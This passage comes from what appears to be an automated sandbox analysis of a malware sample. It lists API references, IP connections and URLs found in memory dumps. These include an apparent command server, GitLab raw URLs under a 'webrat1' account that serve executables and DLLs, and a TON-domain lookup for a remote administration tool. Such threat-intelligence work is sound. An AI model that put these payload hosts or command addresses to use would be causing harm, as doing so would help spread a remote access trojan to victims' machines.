"00000000-00001656-00000C2C-2968358182") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001656-00000C2C-2968596118") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001656-00000C2C-2968598653") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00006656-00000C2C-3072072557") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00006656-00000C2C-3072072648") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp")4a:T5d2,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001656-00000C2C-2967804026") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "tls: failed to send closeNotify alert (but connection was closed anyway): hority" (Indicator: " send "; Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "tls: failed to send closeNotify alert (but connection was closed anyway): write tcp 192.168.0.2:49916->151.101.66.132:443: wsasend: An existing connection was forcibly closed by the remote host." (Indicator: " send "; Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp")4b:T1012,"0.0.0.0" "255.255.255.255" "2.5.29.35" "2.5.29.37" "0.0.0.0:0" Potential IP "1.1.1.1" found in string "https://1.1.1.1/dns-query?name=google.com" "2.5.29.17" "2.5.29.31" Potential IP "1.1.1.1" found in string "https://1.1.1.1/dns-query?name=dns.google" Potential IP "1.1.1.1" found in string "(https://1.1.1.1/dns-query?name=google.com" "2.5.29.15" "2.5.29.19" "2.5.29.14" "2.5.29.16" "2.5.29.32" Potential IPs "1.1.1.1" "1.1.1.1" found in string "https://1.1.1.1/dns-query?name=1.1.1.1" "192.168.0.1:53" "1.1.1.1:443" "1.1.1.1" Potential IP "2.5.29.17" found in string "$2.5.29.17" Potential IP "1.1.1.1" found in string "https://dns.google/resolve?name=1.1.1.1" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.4.3" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.10" "192.168.0.1" "185.103.164.74" Potential IPs "192.168.0.2" "185.103.164.74" found in string "write tcp 192.168.0.2:49854->185.103.164.74:443" Potential IPs "192.168.0.2" "185.103.164.74" found in string "read tcp 192.168.0.2:49854->185.103.164.74:443" Potential IP "192.168.0.2" found in string "read tcp 192.168.0.2:49878" Potential IP "192.168.0.2" found in string "read tcp 192.168.0.2:49878->" "192.168.0.2:49878" "185.103.164.74:443" Potential IPs "192.168.0.2" "185.103.164.74" found in string "read tcp 192.168.0.2:49878->185.103.164.74:443" "192.168.0.2:49854ork" "185.103.164.74:44327" "192.168.0.2:49854oot CA" Potential IPs "192.168.0.2" "185.103.164.74" found in string "Get "https://sa1atik.cn/sa1at/": read tcp 192.168.0.2:49878->185.103.164.74:443: wsarecv: An existing connection was forcibly closed by the remote host." "192.168.0.2" "151.101.66.132" Potential IP "192.168.0.2" found in string "ton.access.orbs.networkwrite tcp 192.168.0.2:49916" Potential IP "192.168.0.2" found in string "write tcp 192.168.0.2:49916->" Potential IPs "192.168.0.2" "151.101.66.132" found in string "write tcp 192.168.0.2:49916->151.101.66.132:443" Potential IPs "192.168.0.2" "185.103.164.74" found in string "Get "https://sa1atik.cn/sa1at/": read tcp 192.168.0.2:49854->185.103.164.74:443: wsarecv: An existing connection was forcibly closed by the remote host." "192.168.0.2:49916" "151.101.66.132:443" Potential IPs "192.168.0.2" "151.101.66.132" found in string "tls: failed to send closeNotify alert (but connection was closed anyway): write tcp 192.168.0.2:49916->151.101.66.132:443: wsasend: An existing connection was forcibly closed by the remote host." Potential IPs "192.168.0.2" "151.101.66.132" found in string "write tcp 192.168.0.2:49916->151.101.66.132:443: wsasend: An existing connection was forcibly closed by the remote host." Potential IPs "192.168.0.2" "185.103.164.74" found in string "/sa1at/": read tcp 192.168.0.2:49854->185.103.164.74:443: wsarecv: An existing connection was forcibly closed by the remote host.", Potential IPs "192.168.0.2", "185.103.164.74" found in string "write tcp 192.168.0.2:49854->185.103.164.74:443: wsasend: An existing connection was forcibly closed by the remote host.", Potential IPs "192.168.0.2", "185.103.164.74" found in string "read tcp 192.168.0.2:49854->185.103.164.74:443: wsarecv: An existing connection was forcibly closed by the remote host.", Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources 3.0.0.0 en-US 31bf3856ad364e35", Potential IP "4.0.0.0" found in string "ystem.Configuration 4.0.0.0 b03f5f7f11d50a3a MSIL", "4.0.0.0000000", "4.0.0.0", Potential IP "4.0.0.0" found in string "4.0.0.0]", "1.0.0.0", Potential IP "4.0.0.0" found in string "n=4.0.0.0 C", Potential IP "4.0.0.0" found in string "ion=4.0.0.0 Culture", Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources 3.0.0.0 en-US 31bf3856ad364e35", Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources 3.0.0.0 en-US 31bf3856ad364e35", Potential IP "4.0.0.0" found in string "4.0.0.0 Cul", Potential IP "4.0.0.0" found in string "ion=4.0.0.0 Cultureh", "2.5.4.6", "2.5.4.8", "2.5.4.5", "2.5.4.11", "2.5.4.10", "2.5.4.7"4c:T1c1d,Heuristic match: "fd9.th" Heuristic match: "sa1atik.cn" Heuristic match: "gitlab.com" Heuristic match: "cloudflare-dns.com" Pattern match: "https://a.dove.isdumb.one/list.txt" Pattern match: "https://gitlab.com/users/sign_incf-ray" Pattern match: "https://gitlab.com/users/sign_in" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750#" Heuristic match: "_cmdletization_methodparameter = [microsoft.powershell.cmdletization.methodparameter]@{name = 'controlledfolderaccessallowedapplications'; parametertype = 'system.string[]'; bindings = 'in'; value = $__cmdletization_value; isvaluepresent = $true} } " Heuristic match: "[object]$__cmdletization_defaultvalue = $null [object]$__cmdletization_defaultvalueispresent = $false if ($psboundparameters.containskey('disablesshparsing')) { [object]$__cmdletization_value = ${disablesshparsing} $__cmdlet" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" Heuristic match: "salator.es" Heuristic match: "websalat.top" Pattern match: "https://dns.google/resolve?name=google.com" Pattern match: "https://dns.google/resolve?name=dns.google" Pattern match: "https://1.1.1.1/dns-query?name=google.com" Heuristic match: "*.cloudflare-dns.com" Pattern match: "crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" Pattern match: "https://1.1.1.1/dns-query?name=dns.google" Pattern match: "https://dns.google/resolve?name=dns.google&type=a" Pattern match: "https://dns.google/resolve?name=google.comse" Heuristic match: "secom trust.net" Heuristic match: "entrust.net" Pattern match: "www.digicert.com" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.digicert.com1" Pattern match: "www.entrust.net/legal-terms" Pattern match: "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl" Pattern match: "https://1.1.1.1/dns-query?name=1.1.1.1" Pattern match: "http://crl.xrampsecurity.com/xgca.crl" Pattern match: "http://www.usertrust.comutn-userfirst-object" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "https://cloudflare-dns.com/dns-query?name=dns.google&type=a" Pattern match: "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl" Pattern match: "http://www.usertrust.com1" Pattern match: "www.digicert.com1!0" Heuristic match: "m .ph" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.xrampsecurity.com1$0" Pattern match: "http://crl.xrampsecurity.com/xgca.crl0" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%20ev%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist0f" Pattern match: "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist0c" Pattern match: "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "www.camerfirma.com/address" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1+0" Pattern match: "http://www.quovadisglobal.com/cps0" Pattern match: "http://www.chambersign.org10" Heuristic match: "putin@kremlin.ru" Pattern match: "ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.chambersign.org/chambersroot.crl0" Pattern match: "cps.chambersign.org/cps/chambersroot.html0" Pattern match: "crl.usertrust.com/utn-userfirst-object.crl0" Heuristic match: "dns.google.com" Pattern match: "https://dns.google/resolve?name=dns.google\\\\\\\\\\\\\\\\\\\\\\" Pattern match: "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crltls" Heuristic match: "*c.pe" Heuristic match: "*.dns.google.com" Pattern match: "c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crl0" Pattern match: "https://dns.google/resolve?name=1.1.1.1" Heuristic match: "%k:6.dk" Heuristic match: "j.sni.global.fastly.net" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "tonapi.io" Pattern match: "https://sa1atik.cn/sa1at/" Pattern match: "https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve" Pattern match: "https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod" Pattern match: "http://crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crl" Pattern match: "http://www.validationtest.contoso.com/test%ld.html" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "olicy.12.0.microsoft.office.in" Heuristic match: "em.ma" Heuristic match: "21.1635.cat" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2" Pattern match: "http://www.microsoft.com" Pattern match: "www.micr" Pattern match: "www.microsoft.com/pkiops/certs/micro" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Heuristic match: "c`.es"4d:Ta42f,Found URL "https://dns.google/resolve?name=google.comhttps://dns.google/resolve?name=dns.google" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0ke,ke," - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0pr.dj" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlevr8^t:l)uu8*t]o,&teliasonera1teliasonera" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google&type=ahttps://dns.google/resolve?name=google.comse" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl$hq?" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1n%&;bhttps://dns.google/resolve?name=google.com" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crlno" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl[tf/mm" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpmarizona1scottsdale1%0" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0lzjx" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0lzjxverisign," - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn0<0http://cps.chambersign.org/cps/chambersroot.html0?w" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?37193375387014449110337186509494.crl9ib76ys" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google\\\\\\\\\\\\\\\\\\\\\\i<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crltls:" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crl0\w" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlehttps://1.1.1.1/dns-query?name=google.comhttps://dns.google/resolve?name=1.1.1.145a176ebbf818ca7183d7b2946c07c1c81" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=1.1.1.1https://1.1.1.1/dns-query?name=1.1.1.1xfffff333333ffffff2g'uwsagetoverlappedresulttls13" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://cloudflare-dns.com/dns-query?name=dns.google&type=ahttps://dns.google/resolve?name=dns.google&type=acloudflare-dns.comee*sdx9udns.googlesa1atik.cn'v:.rv7*4/qk:4*[" - Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0pr.dj" - Source: "00000000-00001656.00000000.254252.04480000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0p6=n" - Source: "00000000-00001656.00000000.254252.04480000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crl0\w" - Source: "00000000-00001656.00000000.254252.04480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001656.00000001.256170.0182B000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001656.00000001.256170.0182B000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00001656.00000001.256170.0182B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/eccf%w0digicert" - Source: "00000000-00001656.00000001.256170.0182B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001656.00000001.256170.0184A000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001656.00000001.256170.0184A000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.60.3.11.3.6.1.4.1.311.60.3.21.3.6.1.4.1.311.60.3.31.3.36.3.3.2.8.1.1.1ecdp1.3.36.3.3.2.8.1.1.2ecdp1.3.36.3.3.2.8.1.1.1@eckp1.3.36.3.3.2.8.1.1.3ecdp1.3.36.3.3.2.8.1.1.3@eckp1.3.36.3.3.2.8.1.1.2@eckp1.3.36.3.3.2.8.1.1.4@eckp1.3.36.3.3.2.8.1.1.5ecdp1.3.36.3.3.2.8.1.1.4ecdp1.3.132.0.33ecdp1.2.840.10045.3.1.7@eckpnw@" - Source: "00000000-00001656.00000001.256170.0184A000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001656.00000001.256170.0187A000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00001656.00000001.256170.021B0000.00000002.mdmp") Found URL "https://dns.google/resolve?name=google.comhttps://dns.google/resolve?name=dns.google" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/read" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://tonapi.io/v2/dns/remoteadministratortool.ton/resolvehttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515tls13" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0goroutine" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0k_tk" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0pr.dj" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlevr8^t:l)uu8*t]o,&teliasonera1teliasonera" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google&type=ahttps://dns.google/resolve?name=google.comse" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crlu,w" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crlltju" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1n%&;bhttps://dns.google/resolve?name=google.com" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crltls:" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl[tf/mm" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crlhttp://crl.globalsign.com/mitmproxy-487007270818109937193375387014449110337186509494.crl*struct" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpmarizona1scottsdale1%0" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0lzjx" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-487007270818109937193375387014449110337186509494.crl0lzjxgoroutine" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn0<0http://cps.chambersign.org/cps/chambersroot.html0?w" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: 